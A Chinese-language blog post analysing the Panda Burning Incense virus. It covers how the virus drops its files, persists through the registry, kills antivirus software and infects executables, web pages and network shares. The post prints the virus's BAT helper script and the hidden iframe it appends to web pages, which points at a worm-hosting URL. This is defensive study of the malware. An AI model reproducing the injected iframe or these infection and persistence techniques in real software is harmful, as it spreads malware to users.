熊猫烧香病毒分析

本文最后更新于:2021-08-26 下午

前言

熊猫烧香做为非常经典的病毒之一,可以说已经被分析烂了,网上也有许许多多的分析流程。作为病毒分析的一个初学者,我现在也尝试分析一下熊猫烧香,争取能够分析的比较清楚, 也能够学到一些东西。

样本信息

样本的基本信息

行为分析

使用Process Monitor监控行为

可以看到panda.exe向C:\Windows\System32\drivers文件夹下释放了一个文件spcolsv.exe

启动了spcolsv.exe这个进程

然后病毒的主体panda.exe将自身关闭

spcolsv.exe进程中有大量的文件操作

查看注册表的set操作,看到病毒在图中两个路径下设置了键值。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run与自启动相关,病毒在其中设置键值,实现自启动。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue这个键值主要是是否显示隐藏文件,当它为0时候,就是不显示隐藏的文件。

查看电脑上的文件时,会发现图标都被改成了熊猫烧香的图标。

现在大致清理一下思路,病毒主体为panda.exe,打开后,它会释放一个spcolsv.exe到C:\Windows\System32\drivers文件夹下,然后关闭自身,启动spcolsv.exe。spcolsv.exe有大量的文件操作,应该是和修改图标有关,同时还通过设置注册表键值,实现了自启动,和不显示隐藏的文件。

动态分析

首先进入函数,是两个解密的函数,解密后进行比较,如果字符串不相等就会退出程序。那么可以看到,病毒的实际操作就是在比较之后的三个函数内,操作1,2,3,现在具体进入其中进行分析。

操作1

在这里主要是病毒的主体程序的运行和被感染的EXE程序的运行。

病毒主体panda.exe和spcolsv.exe流程

判断当前病毒运行的目录下是否存在一个Desktop.ini文件,如果存在会将其删除。

继续往下走,会判断当前的程序是否是C:\Windows\system32\drives\spcolsv.exe,如果不是还会判断当前是否存在这个进程spcolsv.exe,如果存在将其关闭。

然后将自身复制到C:\Windows\system32\drives\spcolsv.exe,运行spcolsv.exe,再退出当前进程。

下面来看一下如果是被感染的EXE文件会有哪些操作。

被感染的EXE文件

如果是一个被感染的EXE文件,那么在这里进行了文件结尾的读取,一个文件被感染的话,结尾会多出一段数据

被感染文件结尾的标识

如果此时是一个被感染的EXE文件,此时比较的结果如下图所示。

被感染文件,在这里会进行跳转,可以看到此时eax值是文件结尾标识的大小,结尾标识如上图,0x17=23。

之后会创建一个原文件名后面加上.exe的文件

然后会在C:\Users\admin\AppData\Local\Temp下创建一个BAT文件,并且执行这个BAT文件,并且判断当前是否存在spcolsv.exe进程,存在的话将其关闭,然后会将病毒文件分离出来,复制到C:\Windows\system32\drives\spcolsv.exe,然后运行它,自身退出。

执行这个BAT文件。

查看bat文件的内容

1
2
3
4
5
6
7
8
:try1
del "C:\1\aaa.exe"
if exist "C:\1\aaa.exe" goto try1
ren "C:\1\aaa.exe.exe" "aaa.exe"
if exist "C:\1\aaa.exe.exe" goto try2
"C:\1\aaa.exe"
:try2
del %0

总结

操作1到这里基本就结束了,panda.exe会将自身复制到驱动目录下,命名为spcolsv.exe,然后以spcolsv.exe继续运行。如果是被感染的exe文件,会先创建一个BAT文件,用于执行原程序,然后将病毒主体分离出来,继续运行。只要当前电脑上还存在一个被感染的exe文件,那么病毒就永远不会被清除。

操作2

进入操作2,其中有三个函数,分开来看这三个函数。

函数1,sub_40A7EC

这里创建了一个线程

下断分析这里,这里获取了所有的磁盘,然后开始进行感染。

getDriveType(sub_4076B4)函数,遍历所有的盘符,从A到Z,然后保存起来,以便后续进行感染。

感染函数中,开始进行文件的搜索,搜索当前盘符下所有的文件,比如C盘,就是C:\*.*,关于文件搜索的一些内容可以查看这里文件遍历

如果是文件夹的话还要进行判断,排除了一些系统的目录,本身目录和上级目录”.”,”..”。

然后会判断当前目录中是否存在desktop.ini文件,如果不存在则会创建一个,向其中写入年月日。

存在的话就会判断其中的时间是否与当前时间相等,如果相等,则判断当前文件已经被感染就会跳过,如果不相等则继续感染,修改文件中的时间。

然后就是对于文件的操作,判断文件的类型执行相应的操作。如果是.GHO文件,也就是备份文件,就会将其删除。

获取文件的大小,如果文件大小超过0xA00000就不再继续感染,如果文件名字是setup.exe和NTDETECT.COM也不进行感染。

获取扩展名然后判断是否等于exe,scr,pid,com,如果是这几种文件类型就会执行40800C函数进行感染。

然后是网页类型文件是否是htm,html,asp,php,jsp,aspx,如果是这几种类型就会执行407ADC函数进行感染。

现在来着重看一下可执行文件与网页文件的感染方式。

网页文件感染方式(sub_407ADC)

对于这类文件主要是在原文件的后面加上一个新的标签,其感染过程如下,它会读取文件内容,然后通过比较文件内容,看当前文件是否已经存在感染的标签判断其是否被感染过

之后会进行感染,在文件的末尾加上一个iframe标签

1
<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>

感染后的文件内容

可执行文件感染方式(sub_40800C)

首先是判断当前程序是否正在运行,如果正在运行的话,就不感染,然后读取文件内容,比对感染标志WhBoy判断是否已经被感染,如果已经被感染的话,就不再进行感染。感染过程是将病毒复制进被感染程序之中,修改图标,在末尾再加上一个感染标志。

感染标志

感染前后文件大小对比

感染后的文件大小等于原文件大小加上病毒大小(60.5kb)。

函数2,sub_40C5B0

这个函数创建了一个定时器,每隔6S就执行一次。

首先还是获取了所有的磁盘。

然后是判断当前根目录下是否存在setup.exe这个文件,如果不存在将病毒主体复制过去并命名为setup.exe,如果存在的话又会读取spcolsv.exe和setup.exe的内容,判断是否相同,也就是判断setup.exe是不是病毒程序,如果不相等会将原setup.exe删除再重新复制一个。都满足的话继续后续的操作。

然后是对于autorun.inf的判断,也是先判断根目录下是否存在这个文件,如果不存在创建并写入内容,如果存在比对内容是否为病毒生成的内容,如果不是,则删除原始的,生成一个新的。流程与setup.exe基本上是一样的。

autorun.inf的内容

最后会调用SetFileAttributesA函数将两个文件的属性设置为隐藏。

函数3,sub_40BD08

这个函数也是创建了一个线程,是循环创建了好几次,下断分析查看。

进来分析查看,其是创建了SOCKET通信,通过139和445端口感染局域网的共享文件夹。

这里我没有设置好环境,没有实现局域网感染,所以分析的可能不是很到位。

总结

操作2主要是创建了几个线程,sub_40A7EC是用来感染电脑盘符下的可执行文件和网页类型文件,还会在每个文件夹下创建一个desktop.ini写入当前感染的时间。sub_40C5B0每隔6S就会执行一次,遍历所有的盘符,判断盘符根目录下是否存在setup.exe(也就是病毒主体程序)和autorun.inf。sub_40BD08通过网络进行传播,可以看出来熊猫烧香的感染性,传播性确实很强。

操作3

进来查看发现创建了四个定时器

分开分析它们

定时1,sub_40CD30函数

这个函数每一秒执行一次,进来后首先创建了一个线程,然后是两个对于注册表的操作,先分析一下创建的这个线程。

创建的线程

这个线程主要是病毒的一个自我保护,其中关闭了杀毒软件,

还会检测关闭许多的进程,比如说无法打开任务管理器,注册表编辑器。

注册表操作

针对注册表操作主要是两个,一个是在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run中设置键值,实现自启动

另一个是修改SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue键值,实现不显示隐藏文件。

定时2,sub_40CE8C函数

这个函数每1200S运行一次(20分钟)。

它首先创建了一个线程

分析此线程,发现其打开了一个URL并且尝试读取一些内容。

并且还有一个执行的操作,猜测应该是从网页中获取到的程序来运行。

定时3,sub_40CE94函数

每十秒执行一次。

进来后先创建了两个线程。

第一个线程最终会创建40C964,这个之前已经分析过了

第二个线程40CC38,它是删除了所有的共享文件夹。

定时4,sub_407540函数

它每隔6s执行一次,创建了一个线程

这里主要是关闭并删除了一些服务和将一些杀软的启动项删除,

关闭服务

删除服务

删除启动项

总结

这里主要是四个功能

  1. 第一个是每秒执行关闭杀软和一些其他进程,设置自启动键值和不显示隐藏文件。
  2. 第二个每隔20分钟执行一次,会尝试下载资源并运行。
  3. 第三个每隔十秒执行一次,删除所有的共享文件夹。
  4. 每六秒执行一次,关闭删除服务,并且删除杀软的启动项。

总结

到这里整个熊猫烧香就分析完毕了,使用OD结合IDA也分析了比较长的时间,这也算是第一篇正式的一个病毒分析报告,写的可能还是有不成熟的地方,后续还要慢慢改进。